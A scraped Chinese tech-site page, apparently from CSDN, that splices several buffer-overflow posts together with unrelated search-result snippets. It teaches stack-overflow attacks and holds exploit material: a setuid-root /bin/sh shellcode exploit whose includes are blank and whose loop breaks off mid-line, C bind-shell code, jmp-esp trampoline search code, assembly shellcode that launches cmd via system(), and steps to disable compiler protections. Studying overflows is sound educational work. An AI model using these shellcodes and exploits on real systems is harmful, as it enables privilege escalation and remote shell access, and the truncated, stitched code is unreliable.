精华内容
下载资源
问答
  • 缓冲区溢出代码

    2020-03-31 12:13:47
    有两种缓冲区溢出攻击的方式: 1. 基于堆 2. 基于栈 第一种实现困难,不常用 第二种非常常见,用到了栈 编译器提供在编译和链接的过程中进行溢出检查的选项,但是运行时间很难检查,除非要用到异常处理机制 ...

    翻译自:https://www.geeksforgeeks.org/buffer-overflow-attack-with-example/

    有两种缓冲区溢出攻击的方式:

    1. 基于堆 2. 基于栈

    第一种实现困难,不常用

    第二种非常常见,用到了栈

    编译器提供在编译和链接的过程中进行溢出检查的选项,但是运行时间很难检查,除非要用到异常处理机制

    下面就是一个栈溢出的代码:

    // A C program to demonstrate buffer overflow 
    #include <stdio.h> 
    #include <string.h> 
    #include <stdlib.h> 
    
    int main(int argc, char *argv[]) 
    { 
    
    	// Reserve 5 byte of buffer plus the terminating NULL. 
    	// should allocate 8 bytes = 2 double words, 
    	// To overflow, need more than 8 bytes... 
    	char buffer[5]; // If more than 8 characters input 
    						// by user, there will be access 
    						// violation, segmentation fault 
    
    	// a prompt how to execute the program... 
    	if (argc < 2) 
    	{ 
    			printf("strcpy() NOT executed....\n"); 
    			printf("Syntax: %s <characters>\n", argv[0]); 
    			exit(0); 
    	} 
    
    	// copy the user input to mybuffer, without any 
    	// bound checking a secure version is srtcpy_s() 
    	strcpy(buffer, argv[1]); 
    	printf("buffer content= %s\n", buffer); 
    
    	// you may want to try strcpy_s() 
    	printf("strcpy() executed...\n"); 
    
    	return 0; 
    } 
    
    Input  : 12345678 (8 bytes), the program run smoothly.
     Input : 123456789 (9 bytes)
    "Segmentation fault" message will be displayed and the program terminates.

    其他的标准函数不会出现栈溢出的情况,例如:strncpy(), strncat(), and memcpy(),但是在这种情况下,程序员必须指定缓冲区大小,而不是编译器指定。

    展开全文
  • 缓冲区溢出代码实例总结.pdf
  • 缓冲区溢出代码实例总结

    千次阅读 2016-07-09 11:36:22
    } 代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。 尝试修改EIP,控制执行路径 buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着...

    1

     

    #include <stdio.h>
    
    #define PASSWORD "1234567"
    
    int verify_password (char *password)
    {
       int authenticated;
       char buffer[8]; // add local buffto be overflowed
       authenticated=strcmp(password,PASSWORD);
       strcpy(buffer,password); // over flowed here!
       return authenticated;
    }
    main()
    {
       int valid_flag=0;
       char password[1024];
       while(1)
       {
          printf("please input password: ");
          scanf("%s", password);
          valid_flag=verify_password(password);
          if(valid_flag)
          {
             printf("incorrect password!\n\n");
          }
          else
          {
             printf("Congratulation! You have passed the verification!\n");
             break;
          }
       }
    }


    如果输入的密码超过7个字符,(注意字符串截断符NULL将占用一个字节),则越界字符的ASCII码会修改掉authenticated的值。如果这段溢出数据恰好把authenticated改为0,则程序流程将被改变。

     

     

     

     

     

    2

     

     

    #include<stdio.h>
    void main()
    {
      int i=0;
      int a[]={1,2,3,4,5,6,7,8,9,10};
    
      for(i=0;i<=10;i++)
      {
        a[i]=0;
        printf("Hello World!\n");
      }
    }


    这段代码经过VC 6.0编译后,运行,在控制台无限制输出了“HelloWorld!”,

     

     

     

     

    3

     

    #include <stdio.h>  
    #include <string.h>  
      
    int main(int argc, char *argv[])  
    {  
            char buf[32];  
            FILE *fp;  
      
            fp = fopen("bad.txt", "r");  
            if (!fp) {  
                    perror("fopen");  
                    return 1;  
            }  
      
            fread(buf, 1024, 1, fp);  
            printf("data: %s\n", buf);  
      
            return 0;  
    }


    代码有明显的溢出问题,在栈上定义32个字节的字符数组,但从bad.txt文件可读出多达1024个字节。
    尝试修改EIP,控制执行路径
    buf数组溢出后,从文件读取的内容会在当前栈帧沿着高地址覆盖,而该栈帧的顶部存放着返回上一个函数的地址(EIP),只要覆盖了该地址,就可以修改程序的执行路径。
    为此,需要知道从文件读取多少个字节,才开始覆盖EIP。一种方法是反编译程序进行推导,另一种方法是基测试的方法。

     

     

     

     

    4

    (Linux)
    绑定端口shellcode的逻辑很简单:打开socket,然后绑定到端口,等待远程进行链接,链接到后将0/1/2描述符都复制该socket上,再启动一个shell。 

     

    #include <unistd.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    
    int sock, cli;
    struct sockaddr_in serv_addr;
    
    int main()
    {
    serv_addr.sin_family  = 2;
    serv_addr.sin_addr.s_addr = 0;
    serv_addr.sin_port = 0xAAAA;
    
    sock = socket(2, 1, 0);
    bind(sock, (struct sockaddr *)&serv_addr, 0x10);
    listen(sock, 1);
    cli = accept(sock, 0, 0);
    dup2(cli, 0);
    dup2(cli, 1);
    dup2(cli, 2);
    execve("/bin/sh", 0, 0);
    }

     

     

     

    5

     

     

    /* buffer overflow example by watercloud@xfocus.org */
    #include<stdio.h>
    
    void why_here(void) /*这个函数没有任何地方调用过*/ 
    { 
    printf("why u here ?!\n");
     _exit(0);
    }
    
    int main(int argc,char * argv[])
    {
     
    int buff[1];
     
    buff[2]=(int)why_here;
     return 0;
    }


    在命令行用VC的命令行编译器编译(在Linux 下用gcc 编译并运行也是同样结果):
    仔细分析程序和打印信息,你可以发现程序中我们没有调用过why_here 函数,但该函数却 在运行的时候被调用了!! 
    这里唯一的解释是buff[2]=why_here;操作导致了程序执行流程的变化。

     

     

     

     

     

    6

     

    (linux)

     

    /*
    * 文件名 : myex.c
    * 编译 : gcc -o myex myex.c
    *
    * 说明 : 这是在virtualcat关于如何编写Linux下的exploit程序介绍中用来攻击
    * 有问题的程序p的程序示范源代码
    * 有关程序p的源代码请参见同一文章中的p.c
    * 如果有什么问题, 请与virtualcat联系: virtualcat@hotmail.com
    *
    * 这个程序要求把相应的宏 ESP_RET_DIFF 的定义改为 -116到 -16之间的值才能正常工作,
    * 不然的话, 要通过命令行参数来进行调整, 原因请参见见文章中的分析.
    *
    * 此程序在Redhat 6.2 Linux 2.2.14-12 上调试通过.
    *
    */
    #include 
    #include 
    #include 
    #include 
    #define RET_DIS 14 // Displacement to replace the return address
    #define NOP 0x90 // Machine code for no operation
    #define NNOP 100 // Number of NOPs
    #define ESP_RET_DIFF 0 //--> Need to apply an appropriate value here. (-60 shoul work)
    char shellCode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /* setuid(0) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
    "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
    "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
    int get_esp()
    {
        __asm__("mov %esp, %eax");
    }
    int main(int argc, char **argv)
    {
        char* charPtr = NULL;
        char* bufferPtr = NULL;
        int* intPtr = NULL;
        int shellCodeLength = strlen(shellCode);
        int bufferSize = RET_DIS + NNOP + shellCodeLength + 1;
        int retAddr = 0;
        int adjustment = 0;
        int i;
        int esp = get_esp();
        if(argc >= 2)
        {
            adjustment = atoi(argv[1]);
        }
        retAddr = esp + ESP_RET_DIFF + adjustment;
        bufferPtr = (char *) malloc(bufferSize);
        if(bufferPtr != NULL)
        {
            /* Fill the whole buffer with 'A' */
            memset(bufferPtr, 0x41, bufferSize);
            /* Butt in our return address */
            intPtr = (int *) (bufferPtr + RET_DIS);
            *intPtr++ = retAddr;
            charPtr = (char *) intPtr;
            /* To increase the probabilty of hitting the jackpot */
            for(i=0; i

     

     

     

     

     

    shellcode即我们要获得超级权限的shell的一段代码。我们的目的就是
    想让main函数调用vulFunc以后返回到shellcode的首地址处,接着执行我们的shellcode,如果能达到这个目的的话,那我们的攻击也就完成了。
    这段代码的核心就是填充bufferptr所指向的buffSize个内存块。
    可以看到执行后的id变为root,得到超级权限的shell了,

     

    展开全文
  • 缓冲区溢出 ppt示例代码 缓冲区溢出示例代码课件ppt 原理的东西 看看有用
  • 代码演示了缓冲区溢出的攻击与防范。 关键字:buffer OverFlow,缓冲区溢出
  • 缓冲区溢出教程及配套代码 缓冲区溢出教程及配套光盘 (c语言 汇编 工具)
  • c/c++防止c/c++防止缓冲区溢出教程源代码 缓冲区溢出教程源代码
  • 缓冲区溢出程序代码分析 缓冲溢出是指一种攻击系统的手段,通过往程序的缓冲区中写入超出其长度的内容造成溢出,从而破坏程序的堆栈,使程序转而执行其它指令,而达到攻击的目的。分布式拒绝服务(ddos)的入侵者...
  • 内容索引:Delphi源码,系统相关,溢出 Delphi演示缓冲区溢出代码,用于堆栈溢出测试,不能超出6个字符。
  • 缓冲区溢出攻防的VC代码 对溢出有兴趣的朋友可以研究下
  • 分析缓冲区溢出及其溢出植入代码的组成结构,指出相应的防御措施;通过分析溢出和植入代码的组成结构,给出缓冲区溢出的一般规律和溢出攻击植入代码的结构特征;最后讨论如何根据溢出规律和植入代码的结构特征,采取...
  • Q版缓冲区溢出教程源代码 本书附的源代码
  • 缓冲区溢出

    2019-12-09 08:30:21
    缓冲区溢出事件 缓冲区溢出概念 缓冲区溢出:计算机程序的一种可更正性缺陷,向程序缓冲区吸入超长内容,覆盖其他空间数据,从而破坏程序对战,造成程序崩溃或转而执行其它指令. 缓冲区溢出危害 程序崩溃,...

    缓冲区溢出事件
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    缓冲区溢出概念
    缓冲区溢出:计算机程序的一种可更正性缺陷,向程序缓冲区吸入超长内容,覆盖其他空间数据,从而破坏程序对战,造成程序崩溃或转而执行其它指令.
    在这里插入图片描述
    缓冲区溢出危害
    程序崩溃,程序跳转并执行恶意代码
    在这里插入图片描述
    缓冲区溢出原理
    根本原因:对用户输入越界不保护,如:C语言中的strcat(),strcpy()库函数
    在这里插入图片描述
    在这里插入图片描述

    int verify_pass(char *password)
    {
    	int yn;
    	char buffer[7];
    	yn = strcmp(password,PASSWORD);
    	strcpy(butter,password);
    	return yn;
    }
    

    strcpy(buffer,password)

    int verify_pass(char *password)
    {
    	int yn;
    	char buffer[7];
    	yn = strcmp(password,PASSWORD);
    	//strcpy(butter,password);
    	return yn;
    }
    

    注释掉之后再运行:
    在这里插入图片描述
    在这里插入图片描述
    典型的寄存器
    EIP:扩展指令指针,用于存放下一条指令的地址
    EBP:扩展基指针,用于指向栈底
    ESP:扩展堆栈指针,指向栈顶
    在这里插入图片描述
    在这里插入图片描述
    堆栈溢出过程

    int hello()
    {
    	int buff;//[esp+6h] [ebp-12h]
    	int v2;//[esp+Ah] [ebp-Eh]
    	_int16 v3;//[esp+Eh] [ebp-Ah]
    	
    	buf = 0;
    	v2 = 0;
    	v3 = 0;
    	read(0,&buf,0x64u); //程序的缓冲区漏洞所在处,read函数可以读取0x64个无符号字符,让用户有过多的输入空间.
    	return printf("Hello,%s\n",&buf);
    }
    

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    缓冲区溢出防御
    缓冲区溢出攻击目标:造成受害者的服务拒绝;提升权限.
    缓冲区溢出条件:Shellcode载入;程序跳转到shellcode的地址空间.
    溢出的防范
    程序设计及过程中
    对于软件开发者:使用安全的函数
    gets() vs fgets()
    strcpy() vs strncpy()
    sprintf() vs spnprintf()
    编译器的边界检查功能
    个人用户:
    关闭不需要的特权程序
    升级系统补丁
    降低CMS权限
    添加服务器WAF类产品

    展开全文
  • 缓冲区溢出(Buffer Overflow)是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪...

    缓冲区溢出(Buffer Overflow是计算机安全领域内既经典而又古老的话题。随着计算机系统安全性的加强,传统的缓冲区溢出攻击方式可能变得不再奏效,相应的介绍缓冲区溢出原理的资料也变得“大众化”起来。其中看雪的《0day安全:软件漏洞分析技术》一书将缓冲区溢出攻击的原理阐述得简洁明了。本文参考该书对缓冲区溢出原理的讲解,并结合实际的代码实例进行验证。不过即便如此,完成一个简单的溢出代码也需要解决很多书中无法涉及的问题,尤其是面对较新的具有安全特性的编译器——比如MSVisual Studio2010。接下来,我们结合具体代码,按照对缓冲区溢出原理的循序渐进地理解方式去挖掘缓冲区溢出背后的底层机制。

    一、代码 <=> 数据

    顾名思义,缓冲区溢出的含义是为缓冲区提供了多于其存储容量的数据,就像往杯子里倒入了过量的水一样。通常情况下,缓冲区溢出的数据只会破坏程序数据,造成意外终止。但是如果有人精心构造溢出数据的内容,那么就有可能获得系统的控制权!如果说用户(也可能是黑客)提供了水——缓冲区溢出攻击的数据,那么系统提供了溢出的容器——缓冲区。

    缓冲区在系统中的表现形式是多样的,高级语言定义的变量、数组、结构体等在运行时可以说都是保存在缓冲区内的,因此所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被蓄意设定好的恶意代码。按照冯·诺依曼存储程序原理,程序代码是作为二进制数据存储在内存的,同样程序的数据也在内存中,因此直接从内存的二进制形式上是无法区分哪些是数据哪些是代码的,这也为缓冲区溢出攻击提供了可能。


    进程地址空间分布

    1是进程地址空间分布的简单表示。代码段存储了用户程序的所有可执行代码,在程序正常执行的情况下,程序计数器(PC指针)只会在代码段和操作系统地址空间(内核态)内寻址。数据段内存储了用户程序的全局变量,文字池等。栈空间存储了用户程序的函数栈帧(包括参数、局部数据等),实现函数调用机制,它的数据增长方向是低地址方向。堆空间存储了程序运行时动态申请的内存数据等,数据增长方向是高地址方向。除了代码段和受操作系统保护的数据区域,其他的内存区域都可能作为缓冲区,因此缓冲区溢出的位置可能在数据段,也可能在堆、栈段。如果程序的代码有软件漏洞,恶意程序会“教唆”程序计数器从上述缓冲区内取指,执行恶意程序提供的数据代码!本文分析并实现栈溢出攻击方式。

    二、函数栈帧

    栈的主要功能是实现函数的调用。因此在介绍栈溢出原理之前,需要弄清函数调用时栈空间发生了怎样的变化。每次函数调用时,系统会把函数的返回地址(函数调用指令后紧跟指令的地址),一些关键的寄存器值保存在栈内,函数的实际参数和局部变量(包括数据、结构体、对象等)也会保存在栈内。这些数据统称为函数调用的栈帧,而且是每次函数调用都会有个独立的栈帧,这也为递归函数的实现提供了可能。


    函数栈帧

    如图所示,我们定义了一个简单的函数function,它接受一个整形参数,做一次乘法操作并返回。当调用function(0)时,arg参数记录了值0入栈,并将call function指令下一条指令的地址0x00bd16f0保存到栈内,然后跳转到function函数内部执行。每个函数定义都会有函数头和函数尾代码,如图绿框表示。因为函数内需要用ebp保存函数栈帧基址,因此先保存ebp原来的值到栈内,然后将栈指针esp内容保存到ebp。函数返回前需要做相反的操作——将esp指针恢复,并弹出ebp。这样,函数内正常情况下无论怎样使用栈,都不会使栈失去平衡。

    sub esp,44h指令为局部变量开辟了栈空间,比如ret变量的位置。理论上,function只需要再开辟4字节空间保存ret即可,但是编译器开辟了更多的空间(这个问题很诡异,你觉得呢?)。函数调用结束返回后,函数栈帧恢复到保存参数0时的状态,为了保持栈帧平衡,需要恢复esp的内容,使用add esp,4将压入的参数弹出。

    之所以会有缓冲区溢出的可能,主要是因为栈空间内保存了函数的返回地址。该地址保存了函数调用结束后后续执行的指令的位置,对于计算机安全来说,该信息是很敏感的。如果有人恶意修改了这个返回地址,并使该返回地址指向了一个新的代码位置,程序便能从其它位置继续执行。

    三、栈溢出基本原理

    上边给出的代码是无法进行溢出操作的,因为用户没有“插足”的机会。但是实际上很多程序都会接受用户的外界输入,尤其是当函数内的一个数组缓冲区接受用户输入的时候,一旦程序代码未对输入的长度进行合法性检查的话,缓冲区溢出便有可能触发!比如下边的一个简单的函数。

    void fun(unsigned char *data)
    {
        unsigned char buffer[BUF_LEN];
        strcpy((char*)buffer,(char*)data);//溢出点
    }
    

    这个函数没有做什么有“意义”的事情(这里主要是为了简化问题),但是它是一个典型的栈溢出代码。在使用不安全的strcpy库函数时,系统会盲目地将data的全部数据拷贝到buffer指向的内存区域。buffer的长度是有限的,一旦data的数据长度超过BUF_LEN,便会产生缓冲区溢出。



    由于栈是低地址方向增长的,因此局部数组buffer的指针在缓冲区的下方。当把data的数据拷贝到buffer内时,超过缓冲区区域的高地址部分数据会“淹没”原本的其他栈帧数据,根据淹没数据的内容不同,可能会有产生以下情况:

    1、淹没了其他的局部变量。如果被淹没的局部变量是条件变量,那么可能会改变函数原本的执行流程。这种方式可以用于破解简单的软件验证。

    2、淹没了ebp的值。修改了函数执行结束后要恢复的栈指针,将会导致栈帧失去平衡。

    3、淹没了返回地址。这是栈溢出原理的核心所在,通过淹没的方式修改函数的返回地址,使程序代码执行“意外”的流程!

    4、淹没参数变量。修改函数的参数变量也可能改变当前函数的执行结果和流程。

    5、淹没上级函数的栈帧,情况与上述4点类似,只不过影响的是上级函数的执行。当然这里的前提是保证函数能正常返回,即函数地址不能被随意修改(这可能很麻烦!)。

    如果在data本身的数据内就保存了一系列的指令的二进制代码,一旦栈溢出修改了函数的返回地址,并将该地址指向这段二进制代码的其实位置,那么就完成了基本的溢出攻击行为。

    通过计算返回地址内存区域相对于buffer的偏移,并在对应位置构造新的地址指向buffer内部二进制代码的起始位置,便能执行用户的自定义代码!这段既是代码又是数据的二进制数据被称为shellcode,因为攻击者希望通过这段代码打开系统的shell,以执行任意的操作系统命令——比如下载病毒,安装木马,开放端口,格式化磁盘等恶意操作。

    四、栈溢出攻击

    上述过程虽然理论上能完成栈溢出攻击行为,但是实际上很难实现。操作系统每次加载可执行文件到进程空间的位置都是无法预测的,因此栈的位置实际是不固定的,通过硬编码覆盖新返回地址的方式并不可靠。为了能准确定位shellcode的地址,需要借助一些额外的操作,其中最经典的是借助跳板的栈溢出方式。

    根据前边所述,函数执行后,栈指针esp会恢复到压入参数时的状态,在图4中即data参数的地址。如果我们在函数的返回地址填入一个地址,该地址指向的内存保存了一条特殊的指令jmp esp——跳板。那么函数返回后,会执行该指令并跳转到esp所在的位置——即data的位置。我们可以将缓冲区再多溢出一部分,淹没data这样的函数参数,并在这里放上我们想要执行的代码!这样,不管程序被加载到哪个位置,最终都会回来执行栈内的代码。



    借助于跳板的确可以很好的解决栈帧移位(栈加载地址不固定)的问题,但是跳板指令从哪找呢?“幸运”的是,在Windows操作系统加载的大量dll中,包含了许多这样的指令,比如kernel32.dllntdll.dll,这两个动态链接库是Windows程序默认加载的。如果是图形化界面的Windows程序还会加载user32.dll,它也包含了大量的跳板指令!而且更“神奇”的是Windows操作系统加载dll时候一般都是固定地址,因此这些dll内的跳板指令的地址一般都是固定的。我们可以离线搜索出跳板执行在dll内的偏移,并加上dll的加载地址,便得到一个适用的跳板指令地址!

    //查询dll内第一个jmp esp指令的位置
    int findJmp(char*dll_name)
    {
        char* handle=(char*)LoadLibraryA(dll_name);//获取dll加载地址
        for(int pos=0;;pos++)//遍历dll代码空间
        {
            if(handle[pos]==(char)0xff&&handle[pos+1]==(char)0xe4)//寻找0xffe4 = jmp  esp
            {
                return (int)(handle+pos);
            }
        }
    }
    

    这里简化了搜索算法,输出第一个跳板指令的地址,读者可以选取其他更合适位置。LoadLibraryA库函数返回值就是dll的加载地址,然后加上搜索到的跳板指令偏移pos便是最终地址。jmp esp指令的二进制表示为0xffe4,因此搜索算法就是搜索dll内这样的字节数据即可。

    虽然如此,上述的攻击方式还不够好。因为在esp后继续追加shellcode代码会将上级函数的栈帧淹没,这样做并没有什么好处,甚至可能会带来运行时问题。既然被溢出的函数栈帧内提供了缓冲区,我们还是把核心的shellcode放在缓冲区内,而在esp之后放上跳转指令转移到原本的缓冲区位置。由于这样做使代码的位置在esp指针之前,如果shellcode中使用了push指令便会让esp指令与shellcode代码越来越近,甚至淹没自身的代码。这显然不是我们想要的结果,因此我们可以强制抬高esp指针,使它在shellcode之前(低地址位置),这样就能在shellcode内正常使用push指令了。


    调整代码的内容很简单:

    add esp,-X
    jmp esp
    

    第一条指令抬高了栈指针到shellcode之前。X代表shellcode起始地址与esp的偏移。如果shellcode从缓冲区起始位置开始,那么就是buffer的地址偏移。这里不使用sub esp,X指令主要是避免X的高位字节为0的问题,很多情况下缓冲区溢出是针对字符串缓冲区的,如果出现字节0会导致缓冲区截断,从而导致溢出失败。

    第二条指令就是跳转到shellcode的起始位置继续执行。(又是jmp esp!)

    通过上述方式便能获得一个较为稳定的栈溢出攻击。


    五、shellcode构造

    shellcode实质是指溢出后执行的能开启系统shell的代码。但是在缓冲区溢出攻击时,也可以将整个触发缓冲区溢出攻击过程的代码统称为shellcode,按照这种定义可以把shellcode分为四部分:

    1、核心shellcode代码,包含了攻击者要执行的所有代码。

    2、溢出地址,是触发shellcode的关键所在。

    3、填充物,填充未使用的缓冲区,用于控制溢出地址的位置,一般使用nop指令填充——0x90表示。

    4、结束符号0,对于符号串shellcode需要用0结尾,避免溢出时字符串异常。

    前边一直在围绕溢出地址讨论,并解决了shellcode组织的问题,而最核心的代码如何构造并未提及——即攻击成功后做的事情。其实一旦缓冲区溢出攻击成功后,如果被攻击的程序有系统的root权限——比如系统服务程序,那么攻击者基本上可以为所欲为了!但是我们需要清楚的是,核心shellcode必须是二进制代码形式。而且shellcode执行时是在远程的计算机上,因此shellcode是否能通用是一个很复杂的问题。我们可以用一段简单的代码实例来说明这个问题。

    缓冲区溢出成功后,一般大家都会希望开启一个远程的shell控制被攻击的计算机。开启shell最直接的方式便是调用C语言的库函数system,该函数可以执行操作系统的命令,就像我们在命令行下执行命令那样。假如我们执行cmd命令——在远程计算机上启动一个命令提示终端(我们可能还不能和它交互,但是可以在这之前建立一个远程管道等),这里仅作为实例测试。

    为了使system函数调用成功,我们需要将“cmd”字符串内容压入栈空间,并将其地址压入作为system函数的参数,然后使用call指令调用system函数的地址,完成函数的执行。但是这样做还不够,如果被溢出的程序没有加载C语言库的话,我们还需要调用WindowsAPI Loadlibrary加载C语言的库msvcrt.dll,类似的我们也需要为字符串“msvcrt.dll”开辟栈空间。

    xor ebx,ebx ;//ebx=0
    push 0x3f3f6c6c ;//ll??
    push 0x642e7472 ;//rt.d
    push 0x6376736d ;//msvc
    mov [esp+10],ebx ;//'?'->'0'
    mov [esp+11],ebx ;//'?'->'0'
    mov eax,esp ;//"msvcrt.dll"地址
    push eax ;//"msvcrt.dll"
    mov eax,0x77b62864 ;//kernel32.dll:LoadLibraryA
    call eax ;//LoadLibraryA("msvcrt.dll")
    add esp,16
    push 0x3f646d63 ;//"cmd?"
    mov [esp+3],ebx ;//'?'->'\0'
    mov eax,esp;//"cmd"地址
    push eax ;//"cmd"
    mov eax,0x774ab16f ;//msvcrt.dll:system
    call eax ;//system("cmd")
    add esp,8
    

    上述汇编代码实质上是如下两个函数调用语句:

    Loadlibrary(“msvcrt.dll”);
    system(“cmd”);
    

    不过在构造这段汇编代码时需要注意不能出现字节0,为了填充字符串的结束字符,我们使用已经初始化为0ebx寄存器代替。另外,在对库函数调用的时候需要提前计算出函数的地址,如Loadlibrary函数的0x77b62864。计算方式如下:

    int findFunc(char*dll_name,char*func_name)
    {
        HINSTANCE handle=LoadLibraryA(dll_name);//获取dll加载地址
        return (int)GetProcAddress(handle,func_name);
    }
    

    这个函数地址是在本地计算的,如果被攻击计算机的操作系统版本差别较大的话,这个地址可能是错误的。不过在《0day安全:软件漏洞分析技术》中,作者提供了一个更好的方式,感兴趣的读者可以参考该书提供的代码。因此构造一个通用的shellcode并非十分容易,如果想让攻击变得有效的话。

    六、汇编语言自动转换

    写出shellcode后(无论是简单的还是通用的),我们还需要将这段汇编代码转换为机器代码。如果读者对x86汇编十分熟悉的话,选择手工敲出二进制代码的话也未尝不可。不过我们都希望能让计算机帮助做完这些事,既然开发环境提供了编译器,用它们帮忙何乐而不为呢?既不用OllyDbg工具,也不适用其他的第三方工具,我们写一个简单的函数来完成这个工作。

    //将内嵌汇编的二进制指令dump到文件,style指定输出数组格式还是二进制形式,返回代码长度
    int dumpCode(unsigned char*buffer)
    {
        goto END ;//略过汇编代码
    BEGIN:
        __asm
        {
            //在这里定义任意的合法汇编代码
            
        }
    END:
        //确定代码范围
        UINT begin,end;
        __asm
        {
            mov eax,BEGIN ;
            mov begin,eax ;
            mov eax,END ;
            mov end,eax ;
        }
        //输出
        int len=end-begin;
        memcpy(buffer,(void*)begin,len);
            //四字节对齐
        int fill=(len-len%4)%4;
        while(fill--)buffer[len+fill]=0x90;
        //返回长度
        return len+fill;
    }
    

    因为C++是支持嵌入式汇编代码的,因此在函数内的汇编代码都会被整成编译为二进制代码。实现二进制转换的基本思想是读取编译器最终生成的二进制代码段数据,将数据导出到指定的缓冲区内。为了锁定嵌入式汇编代码的位置和长度,我们定义了两个标签BEGINEND。这两个标签在汇编语言级别会被解析为实际的线性地址,但是在高级语言级是无法直接使用这两个标签值的,只能使用goto语句跳转使用它们。但是我们可以顺水推舟,使用两个局部变量在汇编级记录这两个标签的值!

    //确定代码范围
    UINT begin,end;
    __asm
    {
        mov eax,BEGIN ;
        mov begin,eax ;
        mov eax,END ;
        mov end,eax ;
    }
    

    这样就可以得到嵌入式汇编的代码范围了,使用memcpy操作将代码数据拷贝到目标缓冲区即可(后边还用nop指令将代码按照四字节对齐)。不过我们还需要注意一个问题,嵌入式汇编在函数执行时也会执行,这显然不可以,我们只是把它当作数据而已(是数据?还是代码?),因此在函数开始的地方我们使用goto语句直接跳转到嵌入式会变语句的结尾——END标签!

    七、攻击测试

    按照上述内容,相信不难构造出一个简单的shellcode并攻击之前提供的漏洞函数。但是如果使用VS2010测试的话可能会碰到很多问题。经过大量的调试和资料查询,我们需要设置三处VS的项目属性。

    1、配置->配置属性->C/C++->基本运行时检查=默认值,避免被检测栈帧失衡。

    2、配置->配置属性->C/C++->缓冲区安全检查=否,避免识别缓冲区溢出漏洞。

    3、配置->配置属性->链接器->高级->数据执行保护(DEP)=否,避免堆栈段不可执行。

    从这三处设置看来,目前的编译器已经针对缓冲区溢出攻击做了大量的保护工作(显然这会降低程序的执行性能,因此允许用户配置),使得传统的缓冲区溢出攻击变得没那么“猖狂”了,但是在计算机安全领域,“道高一尺,魔高一丈”,总有人会找到更隐蔽的攻击方式让编译器开发者措手不及。本文除了分析缓冲区溢出攻击的原理之外,更希望读者能从中感受到代码安全的重要性,并结合编译器提供的安全功能让自己的代码更加安全高效。









    展开全文
  • windwos操作系统下缓冲区溢出演示源代码,信息安全类的老师上课非常实用的小例子
  • 缓冲区溢出是很容易被攻击者利用的攻击,在被覆盖的指令地址位置上编写自己的攻击代码,被攻击方程序运行时,会跳转到攻击者编写的代码位置上,开始运行攻击方的代码,从而攻击者实现了攻击与破坏。
  • 缓冲区溢出实验

    2014-05-11 10:01:53
    操作系统中存在缓冲区溢出的现象,此代码很简单,但是能方便看出缓冲区溢出的基本原理
  • 缓冲区溢出的Delphi演示代码..rar
  • C语言缓冲区溢出实例

    2015-06-05 16:10:26
    自己动手实现的缓冲区溢出实例,参考0Day安全,整个文档包含5个部分的代码,分别如下: 1.反汇编修改程序的例子 2.1-缓冲区溢出-修改邻接变量 2.2-缓冲区溢出-修改执行流程 2.3-缓冲区溢出-植入代码 寻找messagebox...
  • 缓冲区溢出攻击

    千次阅读 2020-05-12 23:44:35
    简单介绍缓冲区溢出攻击原理; 关闭防护措施,进行缓冲器溢出攻击实验; 最后从不同层次简单提及缓冲区溢出的防御措施;
  • 缓冲区溢出漏洞浅析

    千次阅读 2019-10-01 17:41:41
    缓冲区溢出大多数情况下编译器无法给出错误信息,而只有当程序运行期间才会暴露出来,所以缓冲区溢出也归属于运行时缺陷。运行期间发生异常是由于缓冲区溢出数据(包括上界和下界),破坏了缓冲区上下边界外其它变.....
  • 经典缓冲区溢出攻击源代码,包含详细的分析文档,不可多得的 <br>资源,对于理解缓冲区溢出原理以及汇编语言有很好的帮助。《 <br>深入理解计算机系统》一书中使用到的例子,我将这个例子进行 <br>了详细的...
  • 缓冲区溢出漏洞 重点 (Top highlight) 缓冲 (Buffer) A buffer is a temporary storage, usually present in the physical memory used to hold data. 缓冲区是一种临时存储,通常存在于用于保存数据的物理内存中。 ...
  • 本书定位于初学缓冲区溢出利用的读者;并照顾想学习缓冲区溢出技术的朋友。本书的目的是用幽默的语言和通俗的解释,对Windows缓冲区溢出编程的思路和思维进行详细分析;并用大量实例对溢出的实际利用进行一次又一次...
  • 基于源代码扫描的缓冲区溢出检测方法,王晓宇,温巧燕,现有的缓冲区溢出检测技术大多都为静态检测技术,缺点是适应性不强,存在大量误报。本文提出了一种新的检测缓冲区溢出的方法和思
  • (2019秋季网络安全编号CS05154) 第10章 Windows32系统的缓冲区溢出攻击 中国科学技术大学 曾凡平 billzeng@ Windows系统的缓冲区溢出攻击 Windows系统是目前应用最广泛的桌面操作系统对其 入侵能获得巨大的利益因而...
  • 前面发了两篇都是关于C语言缓冲区溢出的文章,有的同行问,是否C#、Java语言有缓冲区溢出问题吗?答案是否定的。由于C#、Java语言需要虚拟机去执行,属于托管语言,虚拟机会自动检查边界。一般不会出现缓冲区溢出。...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 68,477
精华内容 27,390
关键字:

缓冲区溢出代码